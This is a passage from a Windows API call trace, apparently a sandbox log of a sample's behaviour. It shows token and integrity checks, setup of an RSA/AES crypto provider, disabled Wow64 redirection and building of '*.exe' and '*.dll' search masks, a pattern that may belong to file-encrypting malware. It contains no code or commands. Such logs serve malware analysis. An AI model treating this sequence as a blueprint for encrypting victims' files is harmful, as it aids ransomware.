lpData=0x1d3c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0040.700] RegCloseKey (hKey=0x34) returned 0x0 [0040.700] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x34) returned 1 [0040.700] GetTokenInformation (in: TokenHandle=0x34, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0040.700] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0x90) returned 1 [0040.700] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0040.700] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.700] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x1d3c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x1d3c5a0, ReturnLength=0x18fbfc) returned 1 [0040.701] GetSidSubAuthorityCount (pSid=0x1d3c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1d3c5a9 [0040.701] GetSidSubAuthority (pSid=0x1d3c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1d3c5b0 [0040.701] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.701] NtClose (Handle=0x90) returned 0x0 [0040.701] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x6c) returned 0x1d3b860 [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.701] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x90 [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c480 [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c438 [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c558 [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c510 [0040.701] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c30048 [0040.702] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c4c8 [0040.702] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c4c8) returned 1 [0040.702] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x23d9a8) returned 1 [0040.754] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c30048) returned 1 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3b8d8 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3b960 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c4c8 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3b9e8 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ba70 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c3f0 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3baf8 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c3a8 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c30048 [0040.754] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c360 [0040.754] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c360) returned 1 [0040.754] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0040.787] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c30048) returned 1 [0040.787] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x23ada8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0040.787] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c360 [0040.787] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xdc [0040.787] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c360) returned 1 [0040.787] GetLastError () returned 0x0 [0040.787] LocalFree (hMem=0x23ada8) returned 0x0 [0040.787] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c360 [0040.787] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c30048 [0040.787] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c318 [0040.787] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c318) returned 1 [0040.787] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0040.788] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c30048) returned 1 [0040.788] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x23ada8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0040.788] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c318 [0040.788] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe0 [0040.788] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c318) returned 1 [0040.788] GetLastError () returned 0x0 [0040.788] LocalFree (hMem=0x23ada8) returned 0x0 [0040.788] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c318 [0040.788] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5000) returned 0x1c30048 [0040.788] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c2d0 [0040.788] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c2d0) returned 1 [0040.788] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0040.789] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c30048) returned 1 [0040.789] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x23ada8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0040.789] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c2d0 [0040.789] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe4 [0040.789] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c2d0) returned 1 [0040.789] GetLastError () returned 0x0 [0040.789] LocalFree (hMem=0x23ada8) returned 0x0 [0040.789] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c30048 [0040.789] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bb80 [0040.789] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c2d0 [0040.789] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0040.789] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c32850 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c32850 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d600 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2b8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2a8 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2b8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2a8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d600) returned 1 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d600 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2a8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2b8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2a8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2b8) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d600) returned 1 [0040.791] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0040.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0040.791] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3d9d0 [0040.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c1f8, cbMultiByte=5, lpWideCharStr=0x1d3d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3da58 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d9d0) returned 1 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d600 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2b8 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3d9d0 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3da58) returned 1 [0040.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3da58 [0040.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c288, cbMultiByte=5, lpWideCharStr=0x1d3da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3dae0 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3da58) returned 1 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2a8 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3da58 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dae0) returned 1 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c32850 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.792] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.792] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d298 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3bc08 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1c35058 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d248 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5e8 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d238 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c630 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d228 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c678 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d218 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c6c0 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d208 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c708 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1e8 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c750 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1f8 [0040.793] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c798 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.793] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2c8) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d2d8) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d298) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc08) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0040.794] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.794] 